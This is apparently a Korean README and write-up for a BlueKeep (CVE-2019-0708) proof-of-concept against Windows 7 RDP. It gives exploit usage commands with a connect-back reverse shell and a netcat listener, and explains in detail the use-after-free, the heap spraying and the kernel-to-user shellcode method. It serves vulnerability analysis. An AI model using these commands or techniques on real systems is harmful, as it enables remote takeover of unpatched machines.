
Windows7에서 사전 인증 RCE를 허용하는 CVE-2019-0708 (BlueKeep) 개념 증명
이 저장소는 Windows 원격 데스크톱 서비스(RDS)의 원격 코드 실행 버그를 시연합니다.
다음은 이전에 개발한 BlueKeep 취약점에 대한 POC 코드 및 기술 보고서입니다.
참고: 우리의 목표는 분석가가 중요 취약점에 대해 더 잘 이해할 수 있도록 돕는 것입니다.
익스플로잇 코드는 Python 3로 작성되었으며 PyRDP 라이브러리에 의존합니다. PyRDP 설치 가이드를 따라 설정해 주세요.
현재 익스플로잇은 Virtual Box의 Windows 7 SP 1(6.1.7601) x64를 대상으로 테스트되었습니다.
컴퓨터의 IP 주소가 192.168.56.1이고 example.com:1234에 있는 RDP 서버를 대상으로 하는 경우 다음을 입력하십시오.
$ python exploit.py example.com -rp 1234 192.168.56.1
스크립트가 서버를 성공적으로 익스플로잇하면 connect-back 셸코드가 서버에서 192.168.56.1:4444로 TCP 연결을 시작합니다. 따라서 예를 들어 netcat으로 연결을 기다려야 합니다:
$ nc -v -l 4444
서버가 다시 연결할 포트 번호를 변경하려면 -bp 옵션을 사용하십시오:
$ python exploit.py example.com -rp 1234 192.168.56.1 -bp 4567
2019년 5월, Microsoft는 원격 데스크톱 서비스(이전 터미널 서비스)에서 중요 원격 코드 실행 취약점 CVE-2019-0708을 공개했습니다. 이 취약점은 인증 전 취약점으로, 웜 가능성이 있어 광범위한 혼란을 초래할 수 있습니다. 공격자는 조작된 RDP(원격 데스크톱 프로토콜) 메시지를 대상 서버에 전송하여 관리자 권한으로 임의 코드 실행을 얻을 수 있습니다.
Microsoft 원격 데스크톱 서비스는 사용자에게 원격으로 대화형 Windows 세션을 제공합니다. 포트 3389/TCP를 통해 RDP(원격 데스크톱 프로토콜)를 사용하여 사용자 클라이언트와 통신함으로써 사용자의 Windows 데스크톱을 표시합니다.
RDP 프로토콜은 가상 채널이라는 소프트웨어 확장을 통해 향상될 수 있습니다. 기능 향상의 예로는 특수 하드웨어 지원, 오디오 또는 핵심 기능에 대한 기타 추가 사항 등이 있습니다.
이러한 채널에는 "rdpdr"(리디렉션), "rdpsnd"(사운드), "cliprdr"(클립보드 공유) 등과 같은 표준 Microsoft 제공 채널이 포함됩니다. 사용자는 RDP API를 사용하여 다른 채널을 지원하는 모듈을 작성할 수 있습니다. 위 채널 외에도 Microsoft는 MS_T120(RDP 자체에 사용됨) 및 CTXTW(Citrix ICA에 사용됨)의 두 채널을 기본적으로 생성합니다.
취약점은 "MCS Connect Initial 및 GCC Create" 요청을 통한 MS_T120의 가상 채널 바인딩 프로세스와 관련됩니다.
자세한 배경 정보는 ZDI에서 확인할 수 있습니다.
ZDI 기사에서 앞서 언급했듯이 클라이언트가 요청한 모든 가상 채널은 *termdd!IcaCreateChannel()*을 사용하여 생성됩니다. 그런 다음 이러한 채널 구조에 대한 포인터는 ChannelPointerTable이라는 테이블에 저장됩니다.
RDP 클라이언트와 연결이 설정되면 MS_T120을 포함한 모든 정적 가상 채널이 Windows RDP 서버에 의해 내부적으로 초기화되고 ChannelPointerTable이 가리킵니다.
MS_T120 및 CTXTW를 생성하는 쿼리는 *rdpcore!WDLIB_IcaVirtualQueryBindings()*에 의해 발행됩니다.
그림 1: MS_T120 및 CTXTW 생성을 위한 쿼리 생성
쿼리가 *termdd!IcaBindVirtualChannels()*에 전달된 후 *termdd!IcaAllocateChannel()*에서 가상 채널 구조가 생성되고 ChannelPointerTable에 등록됩니다.
그림 2: 가상 채널 구조 생성 및 등록
함수 루틴 *termdd!IcaBindChannel()*은 가상 채널 구조를 ChannelPointerTable에 등록하는 역할을 합니다.

다음은 Windows 7 x64에서 *termdd!IcaBindChannel()*이 첫 번째 인수 "MS_T120" 및 세 번째 인수 0x1f와 함께 호출될 때의 스택 추적입니다.
그림 3: MS_T1209가 초기 요청 중 슬롯 0x1f에 바인딩됨
그러면 ChannelPointerTable은 다음과 같습니다. MS_T120이 항상 슬롯 0x1F에 있음을 참고하십시오.
그림 4: 초기 요청 중 ChannelPointerTable
Windows RDP 커널 드라이버 termdd.sys에 use-after-free 취약점이 존재합니다.
문제는 클라이언트가 "MCS Connect Initial 및 GCC Create" 중에 이름이 MS_T120\x00인 채널을 지정하면 *termdd!IcaCreateChannel()*이 *termdd!IcaFindChannelByName()*을 호출하여 슬롯 0x1F에 있는 기존 MS_T120 채널 구조를 반환한다는 것입니다. 그런 다음 이 채널 구조는 "MCS Attach User Request" 중에 새 가상 채널 항목으로 간주되어 다른 슬롯(이 예에서는 슬롯 2)에 저장됩니다.
다음은 Windows 7 x64에서 *termdd!IcaBindChannel()*이 첫 번째 인수 "MS_T120" 및 세 번째 인수 0x2와 함께 호출될 때의 스택 추적입니다.
그림 5: MS_T1209가 연결 요청 중 슬롯 0x2에도 바인딩됨
즉, MS_T120 채널 구조가 두 슬롯 0x1F와 0x2에 의해 가리켜집니다.
그림 6: 연결 요청 중 ChannelPointerTable
공격자가 MS_T120 채널에 잘못된 데이터를 보내면 termdd.sys는 termdd!IcaCloseChannel()을 사용하여 채널을 닫고 해당 슬롯의 포인터를 지웁니다(실행 예제에서는 슬롯 2). 그러나 슬롯 0x1F의 동일한 포인터는 지워지지 않습니다.
이후 연결이 종료되면 *RDPWD!HandleDisconnectProviderUlt()*가 호출되고, 이 함수는 *termdd!IcaChannelInputInternal()*을 호출하여 슬롯 0x1F의 포인터를 사용하여 해제된 MS_T1209 채널 구조를 다시 파괴하려고 시도합니다. 채널 구조 내의 vtable 포인터에 의해 파괴 프로시저가 호출됩니다. 이로 인해 use-after-free 조건이 발생합니다.
그림 7: vtable 역참조
이전 섹션에서 설명한 대로 *RDPWD!HandleDisconnectProviderUlt()*는 해제된 채널 구조 내의 vtable 포인터에서 함수를 호출하려고 시도합니다. 공격자가 채널 구조의 값을 제어할 수 있으면 vtable 포인터를 덮어쓸 수 있으며, 이는 커널 권한으로 임의 코드 실행으로 이어집니다.
그러나 이를 실현하려면 두 가지 어려움을 극복해야 합니다.
첫 번째는 해제된 채널 구조의 값을 처음에 제어하는 방법입니다. 이를 위해 공격자가 해제된 구조와 동일한 위치에 메모리를 할당하는 것이 일반적이고 안정적입니다. 대상 취약점이 use-after-free이기 때문입니다.
그러나 이 경우 공격자가 원하는 대로 대상 위치에 메모리를 할당할 수 있는 결정적인 방법은 없습니다. 커널에서는 많은 스레드가 (거의) 동시에 실행되고 메모리를 할당하기 때문입니다. 공격자의 메모리가 어디에 할당될지는 스레드가 실행되는 순서에 따라 달라집니다. 거의 모든 경우 공격자는 성공적인 할당을 했는지 확신할 수 없습니다.


두 번째는 vtable 및 그 안의 포인터의 주소를 설정할 위치입니다. 이전 섹션에서 보았듯이 공격자는 vtable의 주소를 설정해야 합니다. 임의 코드 실행을 얻으려면 가짜 vtable이 실행하려는 주소(예: 셸코드 또는 일부 가젯의 주소)를 포함하도록 주소를 설정해야 합니다. 그러나 커널 힙과 KASLR의 무작위성으로 인해 공격자는 그러한 적절한 주소를 거의 알 수 없습니다.
이러한 사실은 공격자가 vtable 포인터를 제어할 수 있더라도 커널에서 주소를 유출하는 다른 취약점을 활용하지 않는 한 직접적으로 임의 코드 실행을 얻을 수 없음을 의미합니다. 또한, “셸코드나 일부 가젯의 주소”는 공격자가 알 수 없는 것입니다.
익스플로잇은 단일 기술인 힙 스프레이를 사용하여 이러한 장애물을 처리합니다. 힙 스프레이는 대량의 메모리를 대량으로 할당하여 이러한 무작위성을 깨는 방법입니다.
그림 8: 스프레이 전 힙 풀 사용량
그림 9: 스프레이 후 힙 풀 사용량
조작된 할당을 여러 번 반복함으로써 공격자는 할당된 메모리 중 일부가 해제된 채널 구조의 위치에 위치할 확률을 높일 수 있습니다.
커널 힙의 객체 대부분이 공격자가 준비한 것이라면 공격자는 가짜 vtable의 주소로 힙의 일부 주소를 무심코 지정할 수도 있습니다. 지정된 주소가 자신의 객체를 가리킬 가능성이 높기 때문입니다. 커널 힙의 기본 주소는 KASLR에 의해 무작위화되지 않습니다. 기본적으로 힙의 무작위성은 스레드 실행 순서에서만 비롯됩니다.
다행히도 가장 중요하게는 Windows 7에서는 페이징되지 않은 커널 풀에서 NX 비트가 활성화되어 있지 않습니다. 이는 공격자가 커널 힙에 가짜 vtable뿐만 아니라 셸코드를 직접 저장할 수 있음을 의미합니다. 이렇게 하면 return-oriented programming을 사용할 필요가 없으므로 익스플로잇이 훨씬 쉬워집니다.
그림 10: 페이지 테이블 엔트리(PTE) 권한
힙 스프레이를 위해 공격자는 분명히 커널 힙에 메모리를 할당하고 입력을 제공할 수 있는 기능이 필요합니다. Unit 42의 보고서 및 Metasploit의 BlueKeep 익스플로잇을 기반으로 해당 기능을 제공하는 커널 드라이버의 루틴을 검색했습니다. 많은 PDU를 테스트한 결과 Metasploit 익스플로잇이 사용하는 것처럼 rdpsnd 채널에 가상 채널 PDU를 보내는 것이 가장 안정적이고 유용한 방법이라는 결론을 내렸습니다. 참고로 Unit 42 보고서에 소개된 세 가지 유형의 PDU를 채택할 수 없었던 이유를 설명하겠습니다.
가상 채널 PDU는 이름에서 알 수 있듯이 클라이언트와 서버 간에 정적 가상 채널로 데이터를 전송하기 위해 교환됩니다.
PDU 내부의 데이터가 처리되는 방식은 채널에 따라 다릅니다. Microsoft가 확장으로 제공하는 여러 잘 알려진 채널 중에서 rdpsnd 채널은 모든 입력을 수신하고 이를 위해 메모리를 할당하는 고유한 기능을 가지고 있습니다.
이 채널은 Windows 7에서 기본적으로 사용할 수 있으므로 힙 스프레이를 위해 간단히 페이로드를 보낼 수 있습니다.
위에서 언급한 중요한 사항을 염두에 두고 개념 증명을 작성했으며 임의 코드 실행을 성공적으로 달성했습니다.
그림 11: 제어된 vtable 주소
그림 12: 셸코드(ud2)를 가리키는 악성 vtable 주소로 덮어쓰기 성공
이전 섹션에서는 셸코드를 실행하는 방법을 설명했지만 실제로는 그것이 전부가 아닙니다. 셸코드는 커널 영역에서 실행되지만 공격자가 원하는 것은 "사용자 영역"에서의 관리자 권한입니다. 이론적으로는 할 수 있는 일이 비슷하지만, 원하는 작업을 실현하는 방법은 다릅니다. 예를 들어 셸코드를 사용하면 일부 디렉토리의 파일을 나열하기 위해 수백 줄의 어셈블리 코드를 작성해야 할 수 있지만, 권한 있는 셸이 있으면 'dir'만 입력하면 됩니다.
따라서 익스플로잇의 목표는 공격자에게 권한 있는 셸을 제공하는 것이며, 이를 실현하려면 몇 가지 추가 노력이 필요합니다. 셸코드가 커널 영역에서 실행되므로 먼저 셸코드는 (권한 있는) 사용자 영역 스레드를 찾거나 생성한 다음 해당 스레드에서 cmd.exe를 실행해야 합니다.
이번에는 두 가지 문제를 생각해야 합니다: 스레드를 찾거나 생성하는 방법과 사용자 영역에서 셸코드를 실행하기 위해 사용자 영역에 메모리를 할당하는 방법입니다.
전자의 사용자 영역 스레드를 찾는 문제는 셸코드가 실행되는 컨텍스트가 일반적인 프로세스 컨텍스트가 아니기 때문에 발생합니다.
프로세스 컨텍스트 내에서 실행 중인 경우 IRET 명령어를 사용하여 사용자 영역으로 돌아갈 수 있습니다. 그러나 이 경우 IRET를 실행하면 커널이 중단됩니다.
이 문제를 해결하는 방법은 여러 가지가 있지만, 가장 일반적이고 유용한 방법은 Windows가 비동기 이벤트를 처리하기 위해 제공하는 메커니즘인 비동기 프로시저 호출(APC)입니다.
APC를 사용하면 프로그램이 다른 프로세스의 지정된 스레드 컨텍스트에서 함수를 실행할 수 있습니다. 이 메커니즘을 사용하면 셸코드가 쉽고 합법적으로 새 사용자 영역 스레드를 생성할 수 있습니다.
APC를 등록할 때 새 사용자 영역 스레드가 실행을 시작할 주소를 지정해야 합니다. 그러나 지금까지는 커널 힙에만 메모리를 할당했으며, 사용자 영역 스레드는 분명히 이 메모리에 액세스할 수 없습니다. 사용자 영역 셸코드를 실행하려면 사용자 영역에서 볼 수 있는 다른 메모리 위치를 준비하고 거기에 사용자 영역 셸코드를 저장해야 합니다.
따라서 사용자 영역에 메모리를 할당하는 후자의 문제에 직면합니다.
이 문제를 처리하는 한 가지 가능하고 일반적인 방법은 ZwAllocateVirtualMemory로 새 매핑을 생성하는 것입니다. 그러나 이것은 약간 중복되며, Windows 7에는 더 쉬운 방법이 있습니다: KUSER_SHARED_DATA를 사용하는 것입니다.
KUSER_SHARED_DATA는 전용 매핑에 저장된 데이터 구조로, 사용자 영역과 커널 영역 모두에 매핑되며 고정 주소(각각 0x7FFE0000 및 0xFFFFF78000000000)에 위치합니다. 이는 Linux의 vsyscall과 유사한 기능입니다.
이 매핑에 사용자 영역 셸코드를 저장하면 모든 것이 잘 진행됩니다. 커널 영역 셸코드는 사용자 영역 셸코드를 이 매핑에 복사할 수 있으며, 매핑의 주소를 알고 있으므로 APC를 어려움 없이 등록할 수 있습니다.
그림 13: 셸코드가 전용 매핑인 0x7FFE0000(사용자 모드) 및 0xFFFFF78000000000(커널 모드)에 저장됨
그림 14: 셸코드 본문
이 취약점에는 CVE 번호 CVE-2019-0708이 할당되었습니다. Microsoft는 이미 2019년 5월 15일에 보안 패치 KB4499175를 발표했습니다.
취약점, 영향을 받는 버전 및 완화에 대한 자세한 내용은 여기에서 확인할 수 있습니다.
이 프로젝트는 리크루트 주식회사의 Advanced Technology Lab에서 부분적으로 지원했습니다.
